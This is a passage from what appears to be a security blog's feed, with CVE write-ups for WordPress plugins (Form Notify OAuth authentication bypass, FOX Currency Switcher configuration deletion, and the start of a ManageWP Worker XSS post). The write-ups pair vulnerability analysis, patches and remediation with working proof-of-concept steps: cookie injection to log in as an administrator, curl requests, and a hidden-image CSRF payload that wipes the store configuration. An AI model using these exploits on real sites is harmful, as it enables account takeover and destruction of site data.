&lt;pre&gt;&lt;code&gt;$userdata = array(
    &apos;user_pass&apos; =&amp;gt; $user_email,  // password = email address
    ...
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This allows trivial brute-force or direct login against any account created through the LINE OAuth flow.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and authorized security testing purposes only. Testing against systems without explicit permission is illegal.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Plugin installed and activated with LINE Login configured (LINE Channel ID and Secret set in settings)&lt;/li&gt;
&lt;li&gt;A LINE developer account and a LINE Login channel (free to create at &lt;a href=&quot;http://developers.line.biz&quot;&gt;developers.line.biz&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Target WordPress site has a page with the LINE login button&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Path A — Cookie Injection (versions ≤ 1.1.08)&lt;/h3&gt;
&lt;p&gt;This path works regardless of whether your LINE account has an email configured.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Identify the target user&apos;s email.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;WordPress&apos;s default REST API endpoint often returns user information:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &apos;https://target.com/wp-json/wp/v2/users&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can also check the lost password form, author pages, or admin contact information.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Set the malicious cookie in your browser.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Open browser developer tools on the target site and run in the console:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;document.cookie = &quot;form_notify_line_email=admin@target.com; path=/&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Initiate the LINE OAuth flow.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -v -b &apos;form_notify_line_email=admin@target.com&apos; \
  &apos;https://target.com/wp-json/form-notify/v1/login&apos; 2&amp;gt;&amp;amp;1 | grep Location
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Copy the LINE OAuth URL from the &lt;code&gt;Location&lt;/code&gt; header and open it in your browser.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Complete LINE OAuth using your own LINE account.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;On the LINE consent screen, do NOT grant email access (or use a LINE account with no email). LINE will redirect back to the callback URL without providing an email. The plugin will fall back to the cookie.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 5: Verify the session.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;After the redirect, you are now authenticated as &lt;code&gt;admin@target.com&lt;/code&gt;. Navigate to &lt;code&gt;/wp-admin/&lt;/code&gt; or check:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -b &apos;wordpress_logged_in_XXXX=...&apos; \
  &apos;https://target.com/wp-json/wp/v2/users/me&apos; | python3 -m json.tool
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The response will show the administrator account details.&lt;/p&gt;
&lt;h3&gt;Path B — Email Match (versions ≤ 1.1.10)&lt;/h3&gt;
&lt;p&gt;This path requires your LINE account to be registered with the target user&apos;s email.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Identify the target user&apos;s email&lt;/strong&gt; (same as Path A, Step 1).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Register a LINE account using the target&apos;s email address.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Go to &lt;a href=&quot;https://account.line.biz&quot;&gt;account.line.biz&lt;/a&gt; and create an account with the target&apos;s email. LINE requires email verification; this step requires access to the target inbox.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Initiate the LINE OAuth flow on the target site.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://target.com/wp-json/form-notify/v1/login
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Complete LINE OAuth, granting email permission.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;On the consent screen, grant the &lt;code&gt;email&lt;/code&gt; scope. LINE will return your LINE account&apos;s email (the target&apos;s email) in the profile.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 5: The callback authenticates you as the target user.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The plugin calls &lt;code&gt;is_member(&apos;admin@target.com&apos;)&lt;/code&gt; → &lt;code&gt;get_user_by(&apos;email&apos;, &apos;admin@target.com&apos;)&lt;/code&gt; → finds the administrator → calls &lt;code&gt;login()&lt;/code&gt; → you are authenticated as admin.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;p&gt;Version 1.1.11 addresses the vulnerability with multiple coordinated changes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;User.php&lt;/code&gt; — &lt;code&gt;is_member()&lt;/code&gt; now looks up by LINE user ID, not email:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-public function is_member( string $user_email, string $user_avatar ): bool {
-    $this-&amp;gt;user    = get_user_by( &apos;email&apos;, $user_email );
-    $this-&amp;gt;roles[] = $this-&amp;gt;user-&amp;gt;roles;
-    if ( ! is_wp_error( $this-&amp;gt;user ) &amp;amp;&amp;amp; $this-&amp;gt;user ) {
-        return true;
-    }
-    return false;
+public function is_member( string $user_raw_id ): bool {
+    if ( empty( $user_raw_id ) ) {
+        return false;
+    }
+    $query = new \WP_User_Query( array(
+        &apos;meta_key&apos;   =&amp;gt; &apos;form_notify_line_user_id&apos;,
+        &apos;meta_value&apos; =&amp;gt; $user_raw_id,
+        &apos;number&apos;     =&amp;gt; 1,
+        &apos;fields&apos;     =&amp;gt; &apos;all&apos;,
+    ) );
+    $results = $query-&amp;gt;get_results();
+    if ( empty( $results ) ) {
+        return false;
+    }
+    $this-&amp;gt;user  = $results[0];
+    $this-&amp;gt;roles = (array) $this-&amp;gt;user-&amp;gt;roles;
+    return true;
 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The fix binds the account lookup to the LINE user ID (&lt;code&gt;user-&amp;gt;sub&lt;/code&gt;) stored in user meta. An attacker controlling the email cannot match an account that has never logged in through LINE before.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Route.php&lt;/code&gt; — callback now passes LINE user ID to &lt;code&gt;is_member()&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-if ( $user_obj-&amp;gt;is_member( $user_email, $user_avatar ) ) {
+if ( $user_obj-&amp;gt;is_member( $user_raw_id ) ) {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sign_up()&lt;/code&gt; — prevents account creation when email already exists:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+if ( $has_real_email &amp;amp;&amp;amp; email_exists( $user_email ) ) {
+    wp_safe_redirect( home_url() );
+    exit;
+}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This prevents an attacker from creating a shadow account using an existing user&apos;s email address.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Additional security improvements in 1.1.11:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;State token is now a cryptographically random 32-character string (&lt;code&gt;wp_generate_password(32, false)&lt;/code&gt;) instead of &lt;code&gt;md5(time())&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;State transient is deleted after first use (single-use token), preventing replay attacks&lt;/li&gt;
&lt;li&gt;New accounts are created with a strong random password instead of the email address&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$_SESSION&lt;/code&gt; fallback for state validation is removed entirely&lt;/li&gt;
&lt;li&gt;All redirect values are validated with &lt;code&gt;wp_validate_redirect()&lt;/code&gt; to prevent open redirect issues&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Vulnerability introduced in Form Notify&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 14, 2026&lt;/td&gt;
&lt;td&gt;Wordfence publicly published the advisory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 2026&lt;/td&gt;
&lt;td&gt;Version 1.1.11 released with comprehensive security fix&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update Form Notify to &lt;strong&gt;version 1.1.11 or later&lt;/strong&gt; immediately.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to your WordPress admin dashboard&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Plugins → Installed Plugins&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Find &lt;strong&gt;Receive Notifications After Form Submitting – Form Notify for Any Forms&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Update Now&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You can also download the latest version directly from &lt;a href=&quot;https://wordpress.org/plugins/form-notify/&quot;&gt;wordpress.org/plugins/form-notify/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you cannot update immediately, consider deactivating the LINE Login feature in the plugin settings until the update is applied.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/form-notify/receive-notifications-after-form-submitting-form-notify-for-any-forms-1110-unauthenticated-authentication-bypass-via-line-oauth-callback&quot;&gt;Wordfence Advisory — CVE-2026-5229&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5229&quot;&gt;CVE Record — CVE-2026-5229&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/form-notify/trunk/src/APIs/Line/Login/User.php#L72&quot;&gt;Trac — User.php#L72 (trunk)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/form-notify/tags/1.1.08/src/APIs/Line/Login/User.php#L72&quot;&gt;Trac — User.php#L72 (1.1.08)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/form-notify/trunk/src/APIs/Line/Login/Route.php#L116-L118&quot;&gt;Trac — Route.php#L116-118 (trunk)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/form-notify/tags/1.1.08/src/APIs/Line/Login/Route.php#L116-L118&quot;&gt;Trac — Route.php#L116-118 (1.1.08)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/form-notify/trunk/src/APIs/Line/Login/User.php#L53&quot;&gt;Trac — User.php#L53 (trunk)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/form-notify/tags/1.1.08/src/APIs/Line/Login/User.php#L53&quot;&gt;Trac — User.php#L53 (1.1.08)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?sfp_email=&amp;amp;sfph_mail=&amp;amp;reponame=&amp;amp;old=3517908%40form-notify&amp;amp;new=3517908%40form-notify&amp;amp;sfp_email=&amp;amp;sfph_mail=&quot;&gt;Trac Changeset&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/oberonlai/form-notify/commit/5eab0ea&quot;&gt;GitHub Commit — 5eab0ea&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/oberonlai/form-notify/commit/9780764&quot;&gt;GitHub Commit — 9780764&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-17T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-4094: FOX Currency Switcher Config Deletion (CVSS 8.1)</title><link>https://hurayraiit.com/blog/cve-2026-4094-fox-currency-switcher-config-deletion/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-4094-fox-currency-switcher-config-deletion/</guid><description>CVE-2026-4094 (CVSS 8.1): Missing Authorization in FOX Currency Switcher for WooCommerce lets Contributors delete the multi-currency config.</description><pubDate>Sat, 16 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-4094&lt;/strong&gt; is a &lt;strong&gt;CVSS 8.1 (High)&lt;/strong&gt; Missing Authorization vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/woocommerce-currency-switcher/&quot;&gt;FOX – Currency Switcher Professional for WooCommerce&lt;/a&gt; WordPress plugin. An authenticated attacker with Contributor-level access can wipe the entire multi-currency configuration by appending a single GET parameter to any wp-admin page. Because no nonce is checked, the vulnerability is also exploitable via Cross-Site Request Forgery against any administrator.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;FOX – Currency Switcher Professional for WooCommerce&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;woocommerce-currency-switcher&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4094&quot;&gt;CVE-2026-4094&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.1 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Missing Authorization&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/woocommerce-currency-switcher.1.4.2.zip&quot;&gt;&amp;lt;= 1.4.5&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/woocommerce-currency-switcher.zip&quot;&gt;1.4.6&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 14, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/ren-voza&quot;&gt;Ren Voza&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-currency-switcher/fox-currency-switcher-professional-for-woocommerce-145-missing-authorization-to-authenticated-contributor-configuration-deletion&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The FOX – Currency Switcher Professional for WooCommerce plugin stores all multi-currency settings — custom currencies, exchange rates, and configuration — in a single WordPress option named &lt;code&gt;woocs&lt;/code&gt;. This option is the heart of the plugin. If it is deleted, the entire configuration is lost.&lt;/p&gt;
&lt;p&gt;The vulnerable code adds a reset trigger directly inside the &lt;code&gt;admin_head&lt;/code&gt; WordPress action. Any user who can load a wp-admin page can fire this trigger. There is no capability check and no nonce.&lt;/p&gt;
&lt;p&gt;Because of this, a Contributor can delete the configuration with a single HTTP request. At the same time, an attacker who cannot log in can still cause the deletion by tricking an administrator into visiting a malicious page — the browser will automatically send the request.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Hook Registration&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;WOOCS&lt;/code&gt; class registers the &lt;code&gt;admin_head()&lt;/code&gt; method in its constructor:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// classes/woocs.php, line 426 (v1.4.5)
add_action(&apos;admin_head&apos;, array($this, &apos;admin_head&apos;), 1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WordPress fires the &lt;code&gt;admin_head&lt;/code&gt; action on every admin page load, for every authenticated user who can reach the wp-admin backend. Contributors have this access by default.&lt;/p&gt;
&lt;h3&gt;Vulnerable Function&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// classes/woocs.php, lines 1167–1170 (v1.4.5)
public function admin_head() {
    if (isset($_GET[&apos;woocs_reset&apos;])) {
        delete_option(&apos;woocs&apos;);
    }
    // ... (script enqueue logic below)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The function checks only that the &lt;code&gt;woocs_reset&lt;/code&gt; GET parameter exists. It does &lt;strong&gt;not&lt;/strong&gt; call &lt;code&gt;current_user_can()&lt;/code&gt; to verify the user&apos;s role. It does &lt;strong&gt;not&lt;/strong&gt; call &lt;code&gt;wp_verify_nonce()&lt;/code&gt; to confirm the request came from a trusted form.&lt;/p&gt;
&lt;h3&gt;What &lt;code&gt;delete_option(&apos;woocs&apos;)&lt;/code&gt; Destroys&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;woocs&lt;/code&gt; WordPress option holds the entire currency configuration array. The &lt;code&gt;get_currencies()&lt;/code&gt; method reads it at line 1728:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// classes/woocs.php, line 1728 (v1.4.5)
$currencies = get_option(&apos;woocs&apos;, array());

if (empty($currencies) OR !is_array($currencies) OR count($currencies) &amp;lt; 2) {
    $currencies = $this-&amp;gt;prepare_default_currencies();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the option is deleted, &lt;code&gt;get_currencies()&lt;/code&gt; falls back to &lt;code&gt;prepare_default_currencies()&lt;/code&gt;. This replaces all custom currencies with a hardcoded two-currency default. All custom exchange rates, currency symbols, and pricing rules are gone.&lt;/p&gt;
&lt;h3&gt;CSRF Vector&lt;/h3&gt;
&lt;p&gt;Because no nonce is verified, the exploit works across origins. An administrator who visits a page containing the following HTML will unknowingly trigger the deletion:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;https://victim-site.com/wp-admin/index.php?woocs_reset=1&quot; width=&quot;1&quot; height=&quot;1&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The browser sends the request with the administrator&apos;s session cookies. WordPress fires &lt;code&gt;admin_head&lt;/code&gt;, and the configuration is deleted — with no indication to the victim.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This proof of concept is provided for educational and defensive research purposes only. Do not test on systems you do not own or have explicit written permission to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress site with FOX – Currency Switcher Professional for WooCommerce &amp;lt;= 1.4.5 installed and active.&lt;/li&gt;
&lt;li&gt;For the direct exploit: attacker account with at least Contributor-level access.&lt;/li&gt;
&lt;li&gt;For the CSRF exploit: any page an administrator can be lured to visit.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step 1 — Direct Exploit (Contributor account)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Replace SITE, and COOKIE with actual values
curl -v &quot;https://SITE/wp-admin/index.php?woocs_reset=1&quot; \
  -H &quot;Cookie: wordpress_logged_in_HASH=CONTRIBUTOR_SESSION_COOKIE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A &lt;code&gt;200 OK&lt;/code&gt; response confirms the request was processed. The &lt;code&gt;woocs&lt;/code&gt; option is now deleted.&lt;/p&gt;
&lt;h3&gt;Step 2 — Verify the Deletion&lt;/h3&gt;
&lt;p&gt;Log into the WordPress admin and navigate to &lt;strong&gt;WooCommerce → Settings → Currencies&lt;/strong&gt; (or the FOX Currency Switcher tab). All custom currencies will be gone, replaced by the default two-currency setup.&lt;/p&gt;
&lt;p&gt;Alternatively, check the database directly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp option get woocs
# Expected after exploit: Option &apos;woocs&apos; is not set.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;CSRF Exploit (No Login Required)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Attacker hosts this on any web page the administrator might visit --&amp;gt;
&amp;lt;img src=&quot;https://SITE/wp-admin/index.php?woocs_reset=1&quot;
     width=&quot;1&quot; height=&quot;1&quot; style=&quot;display:none&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the administrator&apos;s browser loads the image, it sends the authenticated request. The multi-currency configuration is deleted.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;p&gt;The fix in version 1.4.6 removes the entire &lt;code&gt;woocs_reset&lt;/code&gt; block from &lt;code&gt;admin_head()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// classes/woocs.php
 public function admin_head() {
-    if (isset($_GET[&apos;woocs_reset&apos;])) {
-        delete_option(&apos;woocs&apos;);
-    }
-
     if (isset($_GET[&apos;page&apos;]) AND isset($_GET[&apos;tab&apos;])) {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The developer chose to delete the reset feature entirely rather than add capability or nonce checks. This is the correct approach when a feature has no safe path to authorization. The same changeset (SVN revision 3483839) also fixes a separate SQL injection vulnerability in the currency parameter handling.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;March 16, 2026&lt;/td&gt;
&lt;td&gt;Patch committed to SVN (changeset 3483839)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 14, 2026&lt;/td&gt;
&lt;td&gt;Wordfence published CVE-2026-4094&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 15, 2026&lt;/td&gt;
&lt;td&gt;Wordfence advisory last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 18, 2026&lt;/td&gt;
&lt;td&gt;This post published&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update to version &lt;strong&gt;1.4.6&lt;/strong&gt; or later. You can do this from &lt;strong&gt;WordPress Admin → Plugins → Updates&lt;/strong&gt; or directly from the &lt;a href=&quot;https://wordpress.org/plugins/woocommerce-currency-switcher/&quot;&gt;wordpress.org plugin page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you run a WooCommerce store with multiple currencies and cannot update immediately:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Remove Contributor role access to wp-admin as a temporary mitigation.&lt;/li&gt;
&lt;li&gt;Use a Web Application Firewall rule to block requests to wp-admin URLs containing the &lt;code&gt;woocs_reset&lt;/code&gt; parameter.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-currency-switcher/fox-currency-switcher-professional-for-woocommerce-145-missing-authorization-to-authenticated-contributor-configuration-deletion&quot;&gt;Wordfence Advisory — CVE-2026-4094&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4094&quot;&gt;CVE Record — CVE-2026-4094&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/woocommerce-currency-switcher/trunk/classes/woocs.php#L1167&quot;&gt;Vulnerable code — classes/woocs.php#L1167&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3483839/&quot;&gt;Patch changeset — SVN r3483839&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/woocommerce-currency-switcher/&quot;&gt;Plugin page — wordpress.org&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-16T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-3718: ManageWP Worker Unauthenticated Stored XSS (CVSS 7.2)</title><link>https://hurayraiit.com/blog/cve-2026-3718-managewp-worker-unauthenticated-stored-xss/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-3718-managewp-worker-unauthenticated-stored-xss/</guid><description>CVE-2026-3718 is a CVSS 7.2 High stored XSS flaw in ManageWP Worker ≤ 4.9.31 that lets unauthenticated attackers inject malicious scripts into the admin.</description><pubDate>Fri, 15 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-3718&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.2 High&lt;/strong&gt; Stored Cross-Site Scripting vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/worker/&quot;&gt;ManageWP Worker&lt;/a&gt; WordPress plugin. An unauthenticated attacker can inject arbitrary JavaScript into the WordPress admin by sending a crafted HTTP header. The script executes whenever an administrator visits the plugin&apos;s connection management page with a debug parameter.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ManageWP Worker&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;worker&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3718&quot;&gt;CVE-2026-3718&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.2 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Stored Cross-Site Scripting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
